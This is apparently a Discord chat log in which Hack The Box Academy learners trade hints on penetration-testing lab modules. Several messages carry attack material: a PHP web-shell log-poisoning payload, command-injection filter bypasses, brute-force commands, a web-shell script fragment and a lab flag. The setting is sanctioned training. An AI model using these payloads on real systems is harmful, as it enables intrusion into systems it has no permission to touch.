send the entire output of the script here

[misty nova]

34071
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
HTBL00p5r0x

[next bronze]

the flag is right there

[fathom pendant]

[misty nova]

I'm a literal idiot 🤣 I thought it wanted the length

[next bronze]

https://tenor.com/view/it-be-like-that-sometimes-like-that-sometimes-snoop-dogg-sometimes-just-like-it-gif-12501830

[misty nova]

Thanks @next bronze Clearly it's time for bed lmao

[cosmic obsidian]

have you completed the medium lab? can you help me out.

[shut quest]

Instead of pinging someone from 10 days ago ask your question, there's plenty of people here that have done the content already

[cosmic obsidian]

i am stuck at Password Attacks Lab - Medium
Examine the second target and submit the contents of flag.txt in /root/ as the answer.
i got the credentials for jason user and loggedin with ssh from there i am not able to find a way to privesc?
Thankyou for any hints!

[shut quest]

what enumeration have you done at this point?

[cosmic obsidian]

i have used sudo -l and checked the bash history nothing there, they are saying that there is a another user named Dennis i don't know how to get that user creds

[soft cedar]

Enumerate the internal services.

[shut quest]

sudo -l is great for the htb machines, but cpts will require searching under every stone, only if there was an easy way to dig through a lot of information all tied up in one nice little script

[buoyant void]

Finally got through this. Number one thing I learned was that I need to seriously invest time into reverse engineering and how to find useful information in the source code of applications

[rustic sage]

I don't think it's necessary as far as pentesting is concerned, most of it is looking up CVEs that are available for the webapps or extensions for webapps

but anything helps i suppose.

[clever topaz]

anyone know why reverse shell no response?

[rustic sage]

it didn't connect

[potent ruin]

https://academy.hackthebox.com/module/143/section/1278

Hey guys, I encountered a problem, when I tried to pivot through ligolo, using bloodhound-python to extract domain related information, it could not be executed successfully, and the ligolo session automatically exited.

[mystic thicket]

you done it, i'm stuck here

can i dm you please

[steady dust]

you can upload bloodhound on the target machine and run it from there if i remmber correctly.

[robust quartz]

Is it possible to combine ligolo-ng and metasploit?

For example you want to run eternalblue Exploit on the internal hosts (1 hop).

Can you do that only with ligolo-ng and metasploit?

[dusk fox]

WINDOWS ATTACKS & DEFENSE - Coercing Attacks & Unconstrained Delegation
How i am suposed to perform the attack if the target machine is kali and i need windows?

[autumn pilot]

You can use the kali machine to connect to the windows one

[dusk fox]

:/

[rustic sage]

guys sorry for stupid question, anyone know how to be able to type in HTB offtopic etc, why i can only type in htb academy chat in discord :/

[autumn pilot]

If you didn't skip the onboarding you would know

Read the channels in the located in the server section

[rustic sage]

solved it, thanks, yeah mb XD

[knotty crag]

guys is it good to leanr hacking on wsl

or is it preferred to leanr hacking on a real linux operating system?

[inland zenith]

guys in intro to windows command line skill assessment last question how can i ssh to the domain controller ACADEMY -ICL-DC? where do i have the password?

[inland zenith]

please a hint

[fickle thicket]

ACTIVE DIRECTORY ENUMERATION & ATTACKS - (Internal Password Spraying - from Windows)
" Organizations should also monitor event ID 4771: Kerberos pre-authentication failed, which may indicate an LDAP password spraying attempt. " Kerberos pre-authentication indicates LDAP password spraying attempt only if LDAP uses SASL authentication such as kerberos right? my understand is that kerberos is only used for authentication while LDAP is mainly used for querying directory service.

[tribal linden]

Any one available for a bit help for ODERN WEB EXPLOITATION TECHNIQUES -Exploiting XSS via WebSockets

[quasi jungle]

https://academy.hackthebox.com/module/116/section/1512
The domain just isn't showing up on DNS Lookups even though I have added it to /etc/hosts
What I have tried adding to /etc/hosts

10.x.x.x inlanefreight.htb,ns1.inlanefreight.htb

└──╼ [★]$ dig AXFR @ns1.inlanefreight.htb inlanefreight.htb
dig: couldn't get address for 'ns1.inlanefreight.htb': not found

fierce --domain inlanefreight.htb
NS: failure
SOA: failure
Failed to lookup NS/SOA, Domain does not exist

[soft cedar]

you will have to check the hint for this.

[silver iris]

Hey guys,

in the skill assesment for file inclusion, ||every time i poison the logs the lab crashes.|| Any idea why?
||My useragent is: <?php system($_GET["cmd"]); ?>||
||Request: /ilf_admin/index.php?log=../../../../../../var/log/nginx/access.log&cmd=pwd||

[quasi jungle]

Hint just suggests subbrute while that is the tool to use, it requires the DNS resolving to the domain to be working

[soft cedar]

the comma is also not required.

[quasi jungle]

in the /etc/hosts for the ns1 subdomain?

[soft cedar]

yeh, should be IP host host

[quasi jungle]

Still isn't fixing it not being resolved,

└──╼ [★]$ nslookup inlanefreight.htb
Server:        1.1.1.1
Address:    1.1.1.1#53

** server can't find inlanefreight.htb: NXDOMAIN

Any other ideas?

[half stag]

try using nslookup inlanefreight.htb @10.10.10.10 (or whatever the machine Ip)

[silver iris]

nvm got it...|| 'cmd' instead of "cmd"||...

[quasi jungle]

└──╼ [★]$ nslookup inlanefreight.htb @10.129.230.13
nslookup: couldn't get address for '@10.129.230.13': not found

doesn't appear to be working, it shows up on nmap although

[half stag]

Is the domain included in the /etc/hosts ?

[quasi jungle]

yes

[quasi jungle]

└──╼ [★]$ tail -n 1 /etc/hosts
10.129.230.13 inlanefreight.htb ns1.inlanefreight.htb

[half stag]

try using the ns1.inlanefreight.htb domain

[quasi jungle]

Server:        1.1.1.1
Address:    1.1.1.1#53

** server can't find ns1.inlanefreight.htb: NXDOMAIN

[half stag]

which module are you on?

[quasi jungle]

https://academy.hackthebox.com/module/116/section/1512

[half stag]

could you ping inlanefreight.htb?

[quasi jungle]

Somehow pinging works

[half stag]

ping inlanefreight.htb

[quasi jungle]

Yeah, that's working.

[half stag]

idk whats happening

[soft cedar]

afaik htb is not an official TLD and so it cannot be resolved.

its a private network env.

[half stag]

shoudnt this work then?

[quasi jungle]

But it has been added to the /etc/hosts to enable it being resolved

[soft cedar]

yes it should work.

[soft cedar]

The syntax is for dig not nslookup

[soft cedar]

wrong command.

[half stag]

oh ok

[soft cedar]

for dig.

[hexed tinsel]

import argparse, time, requests, os # imports four modules argparse (used for system arguments), time (used for time), requests (used for HTTP/HTTPs Requests), os (used for operating system commands)
parser = argparse.ArgumentParser(description="Interactive Web Shell for PoCs") # generates a variable called parser and uses argparse to create a description
parser.add_argument("-t", "--target", help="Specify the target host E.g. http://<TARGET IP>:3001/uploads/backdoor.php", required=True) # specifies flags such as -t for a target with a help and required option being true
parser.add_argument("-p", "--payload", help="Specify the reverse shell payload E.g. a python3 reverse shell. IP and Port required in the payload") # similar to above
parser.add_argument("-o", "--option", help="Interactive Web Shell with loop usage: python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes") # similar to above

[mossy falcon]

Anyone have issues with the Hunting for Stuxbot Lab? I can’t do anything because elastic never loads any data
https://pastebin.com/Qtwh2nCc
that's the error it gives me

[quasi jungle]

Managed to make it work by resetting the machine.

Now have another error

./subbrute.py inlanefreight.htb -s ./names.txt -r ./resolvers.txt 
Warning: Fewer than 16 resolvers per process, consider adding more nameservers to resolvers.txt.
Warning: No nameservers found, trying fallback list.
Process lookup-3:
Traceback (most recent call last):
  File "/usr/lib/python3.9/multiprocessing/process.py", line 315, in _bootstrap
    self.run()
  File "/home/htb-ac-1018999/subbrute/./subbrute.py", line 422, in run
    response = self.check(hostname, query_type, timeout_retries)
  File "/home/htb-ac-1018999/subbrute/./subbrute.py", line 342, in check
    resp = self.resolver.query(host)
  File "/home/htb-ac-1018999/subbrute/./subbrute.py", line 57, in query
    name_server = self.get_ns()
  File "/home/htb-ac-1018999/subbrute/./subbrute.py", line 107, in get_ns
    ret = self.nameservers[self.pos]
IndexError: list index out of range

subbrute just keeps crashing even with the provided examples

[soft cedar]

add the IP to the resolver.txt file

[quasi jungle]

Thanks, worked

[silver iris]

I´ve got a question for the people who are doing the gamepwn module or are working with cheatengine. Do you run cheatengine in a windows vm or on your host system? I´m a little bit concerned because online you find a lot of articles of it beein malware or adware.

Just wanted to know, before buying the module.

[cloud urchin]

cheatengine is not malware

[silver iris]

can you elaborate a little bit and is it still wise to run it in a vm?

[cloud urchin]

you can run it in a VM or on your machine, it doesn't matter. as for the course, i didn't take it so i don't know if they instruct you to use a VM or not. my guess is they do use a vm but i really have no idea. someone else can chime in on that. i'd wager they have a vm you connect to which already has cheatengine. regardless of that, cheatengine is perfectly safe and not malware.

[silver iris]

Thanks for your input 🙂

[compact halo]

Can someone assist with SocksOverRDP - Not sure how to get around the defender deleting my plugin.dll

[fathom pendant]

Real-time protection

[compact halo]

Yes, real-time is that what I need to research?

[fathom pendant]

It's something that needs to be disabled as well

No defender =/= no protection

[compact halo]

Each time I upload the .dll, it gets deleted and if I am fast enough to get the command out the virus protection blocks
I have disabled windows defender

[fathom pendant]

Defender and real-time protection are separate

[shadow cradle]

Hi all, I'm currently trying to do the Skill Assessment of Shells && Payload. I had to pick up the hint for the second flag where it's give you tomcat credentials.
I'm curios to understand I shall gather those information. The used password dosen't seems to be in anyone of the mayor word list (SecList & Rockyou) for tomcat. I browsed a bit the SMB folders accessible as gust but I coludn't find any clue.

[fathom pendant]

Use Google to find out what you need to do

[compact halo]

Ah ha, thank you

[cloud urchin]

well, defender is real time protection

[fathom pendant]

Desktop of the jump host you're given

[fathom pendant]

Real-time protection is a separate service

[cloud urchin]

there are other real time protections running, but defender is real time protection

[fathom pendant]

You can disable defender with RTP still running

[fathom pendant]

I'm referring to the actual service and option labeled "Real-Time protection"

[cloud urchin]

ahh lol

[fathom pendant]

Not that defender doesn't run in real-time

[shadow cradle]

😱 😱 😱 😱
Indeed my bad to think about it as a clean host

so many hours wasted

[fathom pendant]

You're not the only one

Most people get stuck on firefox

[shadow cradle]

At least I'm in good company haha

[shadow cradle]

Thanks a lot as always

[fathom pendant]

Np

[inland shoal]

hi may i ask whats the diff with RDP and WinRM? cant find much on it online, I assume RDP provides a GUI to control while WinRM is more on CLI?

[crystal steeple]

from what i've understood from htb academy, they are all just diffrent remote access methods

each has its characteristics

[cloud urchin]

chatgpt gives a great answer

[fathom pendant]

WinRM is a CLI based remote management tool it only exists within the CLI

[warped spoke]

Yo guys i need someone to recover my gmail account

[fathom pendant]

No

[shadow cradle]

those are different protocol and as you said RDP provide GUI interaction while WinRM provide only cli management

[warped spoke]

Stfu

[fathom pendant]

Read #rules

[fathom pendant]

Nah, just telling you no one is gonna help you hack "your" own gmail

[inland shoal]

i see, thanks for the help guys! yep i know they are diff protocols just wondering whats the diff

[fathom pendant]

If you wanna recover it go through Google Support

[fathom pendant]

CLI vs GUI

[dim wolf]

this is not the place to be asking. reach out to google

[fathom pendant]

Is the main difference

Other than that RDP can be enabled for any user, WinRM is generally enabled for admin users

[heavy edge]

is this a rabbit hole trying to mount hard pw lab

[inland shoal]

yep thanks!

[heavy edge]

marcie do you ever sleep

[inland shoal]

i see

[fathom pendant]

No

[fringe urchin]

we need to map out his online time
gonna look like 28 hours online in a day

[fathom pendant]

You can search this channel for how to guides

[heavy edge]

really? is it pw protected then? trying to mount it like in the footprinting module fails

[fathom pendant]

Mayhaps

[heavy edge]

damn

its never that easy

[fathom pendant]

Good thing there's n2john for like every filetype and encryption

Since it's likely windows, you can make an educated guess

[latent frigate]

anyone with crackmapexec skill assessment could give me a hint, please?

[tacit grove]

sure

[heavy edge]

cracking johanna takes years

HOLEY this hard lab uses everything from the past modules

[ruby mulch]

one question if I have started a module with some questions answered but my subscription runs out, do I still have access to the module or do I lose the progress?

[fathom pendant]

Yes

[quasi jungle]

 hydra -l user -P pws.list pop3://10.129.99.110 -t 10
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-28 16:13:54
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 10 tasks per 1 server, overall 10 tasks, 333 login tries (l:1/p:333), ~34 tries per task
[DATA] attacking pop3://10.129.99.110:110/

Hydra just stops after showing attacking

If I enable -vV it just shows resolving then exit

[fathom pendant]

Annual sub or student sub; you lose access to it. If it's the other monthly subs that gives cubes; no

[fathom pendant]

This contains spoilers dude

[ruby mulch]

so even if I had initiated it, nothing?

[fathom pendant]

Correct, access is lost

[quasi jungle]

redacted

[ruby mulch]

thanks

[fathom pendant]

I think progress remains, but that's a question for support tbh

[fathom pendant]

How long are you waiting

[quasi jungle]

5 seconds or so then it just exits to console

[fathom pendant]

Ok so it's exiting itself

Also -t and -T are different

-T is threads, -t is tasks per thread

[quasi jungle]

Using -t since its 1 target only.

[fathom pendant]

Anyway

I forget if you need to drop the @inlanefreight.htb for this

Sometimes you do, Sometimes you don't

[quasi jungle]

According to the fourms you need to include it

[fathom pendant]

its been a minute ¯_(ツ)_/¯

[quasi jungle]

Although the issue seems to be a bug in hydra, should I try any other tool ?

[fathom pendant]

Try with a different service

Like imap

I forget if imaps/pop3s is enabled on this lab

[heavy edge]

porgess remains on all modules and sectios youve completed, if you DID NOT complete the module fully youll lose access

fun stpry i am now learning how to mount a bitlocker drive to llinux

what the everliving fuck

[fathom pendant]

It's not that difficult

A couple guides are very much copy/paste

[heavy edge]

oh i know

i just never have done it

[slate halo]

hello, im trying to execute ./username-anarchy -I ./names.txt but i get this error
./username-anarchy: line 7: syntax error near unexpected token newline' ./username-anarchy: line 7: <!DOCTYPE html>'

[fathom pendant]

line 7

How did you copy the tool?

That looks like, to me, you used wget or something and copied the webpage

[slate halo]

yeah, i used wget

[fathom pendant]

Thats your problem then

It's a github repo yeah?

git clone <link.to.github>

[tough tiger]

You can also use wget to download from the raw link, if you only need one file

[slate halo]

thank you guys

[heavy edge]

i have to go back and redo all of that

that last lab was REALLY fun

i did thind i didnt know my fingers were capable of

wait till lab 2 and 3

i completed both of them obviously... but if you think the SECTIONS are fun... oh buddy

[heavy edge]

Onward

[quasi jungle]

https://academy.hackthebox.com/module/116/section/1173

Hydra just doesn't continue if I use pop3 as protocol

Imap and SMTP work but they don't have a valid login with the discovered username (using full email) m***@inlanefreight.htb, tried with the provided pws.list

Any ideas of what to do

hydra -l m**@inlanefreight.htb -P pws.txt pop3://10.... -t 10
hydra -l m**@inlanefreight.htb -P pws.list -f 10... pop3 -t 10

pop3 commands I have tried

[heavy edge]

digging obsidian

[dark summit]

tasklist from powershell, and look for non standard .exe , or go to apps and features, and look for non-standard .exe

[solar verge]

is there anybody around who has completed Skills Assessment - Hard from Abusing HTTP Misconfigurations? i'm 99% sure my exploit should work but i think i may be doing something slightly wrong here 😅

[steady dust]

On Windows Privilege Escalation Skills Assessment - Part I do you have any ideas how i get CLSID? I used the GetCLSID tool from juicypotato, but i don't get it. 🙂

[next bronze]

try different ones

[steady dust]

I got it and i manged to escalate priv. 🙂

[timber hatch]

Attacking Common Services - Hard, i answered the first 3 questions, now the last one Submit the contents of the flag.txt file on the Administrator Desktop.
i tried to use the user john to login tot he msql server, but doesnt work, sould i try agian there or something else?

[fathom pendant]

Mssql is the right approach. Maybe revisit that section to see what you can do

[next bronze]

make sure you're grabbing the right ticket

[quasi jungle]

Any suggestions?

[cloud urchin]

If your wordlist didn't crack anything, then it simply doesn't contain the password, you may want to try a different wordlist.

[quasi jungle]

Hmm, pop3?

[onyx robin]

Hi guys! I have a problem with questions of Active Infrastructure Identification! I have the ip target and the vHosts needed for the questions, once i added the ip with the vHosts to /etc/hosts, if i try to ping the hosts i have all packets lost and i can't use whatweb...i'm connected to the VPN connection file! Can someone help me?

[quasi jungle]

Which protocol?

[sonic arch]

Were you able to solve this? I am stuck here as well.

[fathom pendant]

The other mail protocol

[quasi jungle]

smtp?

[fathom pendant]

No

Imap

[onyx robin]

I use tcp protocol in the vpn file

[quasi jungle]

Worked finnaly, thanks.

[fathom pendant]

Did you add them properly

[crystal steeple]

into the thick client application section where most ppl complain about

[next bronze]

nope, just follow the section

SQL01 is not the right user

[onyx robin]

yes, i just added two new lines with the IP spawned and the names of the vHosts

[rustic sage]

Howdy yall, not sure if this is the right place to ask questions but, im quite new to all these stuff, dont really have much knowledge even on basic stuff, and i found myself kinda stuck while setting up my VM (virtual box), when I start the program it says "please insert a bootable medium and reboot". Does anyone have an idea of what could be the issue?

[fathom pendant]

How did you add it/screenshot

[fathom pendant]

Well you need to use an iso to install a vm.

[rustic sage]

I followed this one tutorial and also installed Kali and another thing, is that what ur refering?

[fathom pendant]

no idea what you're talking about ¯_(ツ)_/¯

[dim wolf]

kali has pre-made VMs that you can download and instantly boot into

[fathom pendant]

Kali also has pre-built vms for different vm software

[dim wolf]

i prefer setting up my own VM and then making a gold image out of it

[dim wolf]

no need for the two lines, just put all domain names on the same IP

[rustic sage]

okay ill see what i can do thanks

[dim wolf]

10.129.151.212 app.inlanefreight.local dev.inlanefreight.local

[onyx robin]

I changed the protocol of the vpn file from tcp to udp and now it works, i can ping

[mild cypress]

Working on https://academy.hackthebox.com/module/163/section/1549

And getting this output for crackmapexec:

┌──(kali㉿kali)-[/]
└─$ proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Str0ngpass86!

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  127.0.0.1:8080  ...  172.16.8.3:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:8081  ...  127.0.0.1:8080  ...  172.16.8.3:445  ...  OK

Not sure what I'm missing here that I'm not getting the SMB response 🤔

[cloud urchin]

i've only seen no response from cme when it isn't connecting

[next bronze]

what's the response? those the proxychains output, use it with -q to disable them

[mild cypress]

There is no response, and when I hit it with the --verbose flag I'm seeing:

DEBUG Error creating SMBv3 connection to 172.16.8.3: ("Unpacked data doesn't match constant value ...

Along with a bunch of HTML? As if it's using the wrong protocol (unless that HTML is part of the debugger?)?

[next bronze]

I'm quite sure cme doesn't output html, make sure your proxychains config is correct and maybe reset the target

[mild cypress]

I've tried resetting a couple times, and proxychains looks fine to the best of my knowledge (which isn't much).

Do I need more than socks5 127.0.0.1 8081 and I'm just dumb?

[next bronze]

what are you using to pivot?

the default port for socks5 is 1080

[mild cypress]

sudo ssh -D 8081 -i dmz01_key root@10.129.28.242

Just been following the instructions verbatim with no issues until this 🤷

[cloud urchin]

as i said, i've only seen cme not provide output when there is some kind of connectivity error. i would start by going over every IP address and hostname that's going into the equation here to use CME, including your proxy configuration, your vpn connectivity if you're using a vm, the ip of the victim, etc

generally you aren't going to be able to straight copy/paste things from the module because the IP address that spawns on your victim will be different, or they machine at the end will be slightly different so you can have first hand experience using the commands yourself as it helps reinforce learning

[mild cypress]

Yeah, fair enough. I'm almost positive it has to be something borked with my config.

That being said, in this scenario the IPs are consistent. It's far from the first box I've worked through so give me some (though not much_ credit 😛

But yeah, I get what you're saying. Might just start over blank slate and see if I can recreate 🤷

[cloud urchin]

if you're using a vm, you can also try on the pwnbox, as the pwnbox is usually just setup with all the tools working etc.

it's also a good way to test if it's a problem with your computer or the config, because if both boxes have the same result it means you're not doing something right

[mild cypress]

Good call, I'll try that out.

[bright vault]

Hello, who has worked with the crowdtap page

[dusk portal]

Is this a good place to reach out on for "Command Injections" module?

[cloud urchin]

yeah just ask your question

[dusk portal]

I am struggling to obfuscate the payload for the Skill assessment section.

Does the payload go right here?
GET /index.php?to=tmp&from=51459716.txt{payload} HTTP/1.1

[cloud urchin]

i believe that's covered under the "Injecting Commands" section

you have to find it

[dusk portal]

A lot is getting caught as "Malicious"

I guess what I am asking, is would I be able to execute a arbitrary commad like whoami?

[cloud urchin]

well the whole module is about command injection, so yes, once you find the injection point and are able to bypass the defenses you could run whoami or any other system command

it's like a puzzle you have to try different combinations of bypasses and figure it out

[dusk portal]

Okay

thanks

[woven zenith]

File Upload Attacks: Type Filters
-OK so I used the bash script to get all the various extensions to try ( currently using shell.%00php.jpg ) and the file uploads, the issue I'm having is once I go to the url: (IP:port/profile_images/shell.%00php.jpg?cmd=id) I get 404 URL Not Found. Just looking for help on if I'm missing something. Thanks

[cloud urchin]

did your bash script give you any more options?

[woven zenith]

yes, it gave 224 variations. Do I need to just pick one fuzz that, like just .phar and just .jpg and go through those?

[cloud urchin]

null bytes can mess with filenames and lead to unpredictable results, so you might want to try something else

especially if it isn't working

[woven zenith]

Ok I appreciate the help, any other references you can point out cuz im on day 3 of this and it's starting to feel like OSCP training all over again lol

[heavy marsh]

"Attacking Web Applications with Ffuf" module filtering section is not working

Gave me status 200 for all of my wordlist

Is there a different wordlist needed other than the one recommended in the module?

[cloud urchin]

dm me and i can give some tips

[heavy marsh]

Or is it just broken?

[cloud urchin]

i haven't done that module but if ffuf was successful in completing the list and found nothing, yeah i'd try another list personally

[heavy marsh]

No it gave a 200 for everything in the list

Lab is broken

[scenic plover]

What's the ffuf command you ran?

[crystal steeple]

Check the content length

Lab isnt broken

You need to filter size , it is also explained why its gives 200 response

[heavy marsh]

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://academy.htb:36987 -H 'Host: FUZZ.academy.htb' -fs 900

didn't get anything

[next bronze]

instead of copying the command from the module exactly, why don't you look at the output on how you should set the size?

[heavy marsh]

Yeah, I figured it out eventually. Command in the module was wrong.

[next bronze]

bruh

it's not wrong, different webpages can return different sizes

[heavy marsh]

Also, filtering that way with the actual command still hasn't completed, even though I found it in 30 seconds scrolling

[glacial marsh]

Hola quiero que alguien recupere mi cuenta de Snapchat a cambio de dinero

[tulip dragon]

bruh this happening again , can't get ip

loading for long time'

[little bear]

Refresh page and clear client-side browser session. Basic stuff and it should work. If you dont want to clear history, try a private browser, disable vpn, and sign in.

Otherwise give it some time. It's thinkin

[tulip dragon]

give time works but it took 40 min off

[tulip dragon]

yeah i treid all that before coming here

[little bear]

That will happen. In the meantime, you should find other productive ways to optimize your time so you can do better/work quicker~.

It's not an answer I like to say, but a required answer.

(85% CPTS Completed)

My favorite is when it doesn't spawn (the VM instance) ;D

Or when the VM spawns, but it doesn't full screen during an RDP sesh with windows.

[magic forum]

DETECTING WINDOWS ATTACKS WITH SPLUNK : Detecting Beaconing Malware

*"Use the "cobaltstrike_beacon" index and the "bro:http:json" sourcetype. What is the most straightforward Splunk command to pinpoint beaconing from the 10.0.10.20 source to the 192.168.151.181 destination? Answer format: One word" *

i dont think i am missing anything here but i really cant find this answer, if anyone can give a hint for me that would be really nice 😬

[limber surge]

google splunk time function

[dim wolf]

No. Reach out to Snapchat support

this is not a hacker-for-hire place

[steel gorge]

Can someone please DM me about Injection Attacks - pdf generation section ? I swear I've tried everything but I'm clearly missing something
edit: indeed I did miss something. Got it now 👍

[magic forum]

haha so easy it was HARD thanks for hint!

[rough comet]

folks, I am in the Pivot and Tunneling module

I see we can use nmap without proxychains. But we set it up for RDP and SMB

why is that? because RDP and SMB do not work without it?

especifically speaking, I see how the module uses ssh with L and socks, then run nmap to scan MySQL port which is filtered

proxychains was not set for that

[next bronze]

what? do you have a specific example? that is very vague

[rough comet]

Pivot, Tunneling and port forwarding Module

Dynamic port fwd section

the 1st example uses nmap without proxychains

nmap -v -sV -p1234 localhost

[next bronze]

I mean, the paragraph after that explains it very clearly, the the sql port is only open on the target's localhost, so you're doing a local port forward to open the sql port on port 1234

[rough comet]

is not clear to me

I know MySQL is open on the pivot box

we use the ssh -L to bind the port

but we do not edit proxychains.conf

why

in other words, because the open port is on the pivot box, we don't need proxychains? is that the reason?

[next bronze]

proxychains is for dynamic port forwarding with SOCKS, you don't use proxychains with local prot forward

[rough comet]

got it

so the answer is... because the open port is on the pivot box... not the internal box

[next bronze]

idk how you're defining the pivot box and internal box, check the diagrams in the section

[rough comet]

Mysql box is pivot

jump box

Anyway, I believe you clarified to me. Thanks

[brazen saffron]

I don't find a payload that works for an injection command while I use what they show in the course, I tried a lot of payloads by trying with several likes such as ls -la, ls, echo, encoding characters like in URLs.

[cloud urchin]

what section/question is that

[brazen saffron]

https://academy.hackthebox.com/module/109/section/1037

[cloud urchin]

There's a tip in the module to remove everything but the first character, see if that trips the filter. if not, add another character and try again. keep doing that until you find what's causing the invalid command and make a workaround for it.

doing that method should tell you exactly what is not working

[brazen saffron]

I didn't understand xd.

[cloud urchin]

start by adding 1 character at a time

see if ip=127.0.0.1$ makes it say Invalid Input, if not, add ip=127.0.0.1${, then ip=127.0.0.1${L, then ip=127.0.0.1${LS

keep going until it says invalid input, then you know what is causing it to fail

[brazen saffron]

Okay!

[cloud urchin]

no, before you got 'invalid input', indicating the ping command never went off, so the command wasn't passed to the system. now that you've removed some characters, the ping goes through.

[brazen saffron]

No, I tried without any command and this var was working, now no...

[cloud urchin]

so it accepts those characters, keep adding more, one by one, till you find what's stopping it

well your screenshots tell a different story

[brazen saffron]

LS... was working before.

Now it's not.

Only ";".

[cloud urchin]

stronger filter, change your method

[brazen saffron]

It was THIS exercise...

[cloud urchin]

maybe reboot it then

[brazen saffron]

I'll do it after school yeah :(.

Thx again :>.

[steady dust]

your command is something like 127.0.01 ls /home :). Try this on your local machine and see if the command it's working. And if not, think why it's not working. 🙂

[brazen saffron]

Look:

I have no error, no input validation error, just ping cmd :/.

I tried with PATH var env as well.

And I have nothing sometimes with printf due to echo isn't working.

[steady dust]

I think you need an escape like ; && ||...

[brazen saffron]

I will try bypass echo with something like : $(rev<<<"sl")

[steady dust]

try to use path instead of ls_colors

[brazen saffron]

LS_COLORS is to have ;.

It does not come from it.

Just I will bypass echo blacklist.

[soft cedar]

dont use the env variable as your injection operator.

[brazen saffron]

I tried &&, ||, ; encoded or no = not working.

[soft cedar]

try the new line one

use the url encoded version

[brazen saffron]

Yeah I know, I'll try it.

[timber hatch]

could anybody give me a hint to the Attacking Common Services - Hard last question. i logged in with smbclient and found the users. now i try to log in to the mssql server. witht he credits i found, but it is not working.

[brazen saffron]

Well do you have another hint 😭?

[soft cedar]

that should work unless youre whole command is wrong

[brazen saffron]

I do :$(ls${IFS}${HOME:0:1}home${IFS}-la)

But only ping is working.

[soft cedar]

you are overcomplicating things.

[brazen saffron]

But I am not getting any error.

[brazen saffron]

?

[soft cedar]

you want to read /home right?
you have found a working injection operator: %0a
now you how do you combine the commands to read the dir.?
use the environmental var shown in the section.

[brazen saffron]

It's ${PATH:0:1}

For /.

[soft cedar]

why are you adding $ to ls?

[brazen saffron]

echo it's not working and printf as well.

[brazen saffron]

$() = open a subshell, just for lisibiity.

[soft cedar]

just use ls

[soft cedar]

ls then the space env variable plus the home env variable

[brazen saffron]

Bro, why before it was not working 😭.

[soft cedar]

one more command

[brazen saffron]

I'll cry, 2h...

I found dw.

But why before was not working 😭.

[soft cedar]

you should have just started with one command after the other.

[soft cedar]

was it the same commands?

[brazen saffron]

Just in the subshell...

But with the ;.

Not with new line.

[soft cedar]

that is blacklisted I think

[brazen saffron]

I could use cmds.

Just the totality of ls was not working.

[soft cedar]

from the screenshots you sent, you used ls as an env var, $ls

[brazen saffron]

AH did not notice.

[timber hatch]

could anybody give me a hint to the Attacking Common Services - Hard last question. i logged in with smbclient and found the users. now i try to log in to the mssql server. witht the credits i found, but it is not working. i was also able to rdp witht he user fiona

[soft cedar]

yes there's a difference.

[soft cedar]

try a different auth method.

mssql has 2 modes of authentication...

[brazen saffron]

Ah.

Thx :).

[timber hatch]

with the user fiona?

[soft cedar]

yeah

[ripe anvil]

i am facing issue with password attacks module

hydra -L username.list -P password.list ssh://10.129.202.136

[dense ridge]

Where to get roles?

[soft cedar]

But why not use the cli or impacket?

[fathom pendant]

Don't attack ssh

[ripe anvil]

i use the above command to bruteforce the ssh login credentials but i got the error:

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-29 10:59:56
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 21008 login tries (l:104/p:202), ~1313 tries per task
[DATA] attacking ssh://10.129.202.136:22/
[ERROR] could not connect to ssh://10.129.202.136:22 - Timeout connecting to 10.129.202.136

[fathom pendant]

Are you connected to the vpn?

[ripe anvil]

yes i am using pwnbox , cloud instance

i can ping the machine ip

[fathom pendant]

Then: attack a different service

[steady dust]

check ssh port. 🙂

[fathom pendant]

Using hydra to attack ssh is painfully slow

[ripe anvil]

i am new on htb academy, i connect the vpn on my kali linux and try to get the credentials using hydra, evil-winrn etc but noting work

[fathom pendant]

There are other services running that will be better

[ripe anvil]

also i tried to start pwnbox instance butnothing work

[fathom pendant]

Don't run the vpn and the in-browser pwnbox at the same time

And 2: when you connect to the vpn you need to open a new terminal to do anything

[ripe anvil]

yes, i know these basic stuff. as i sadi i can ping the machine, i can view the open ports using nmap, even i cross check using telnet utility. well i try again and let you know the status.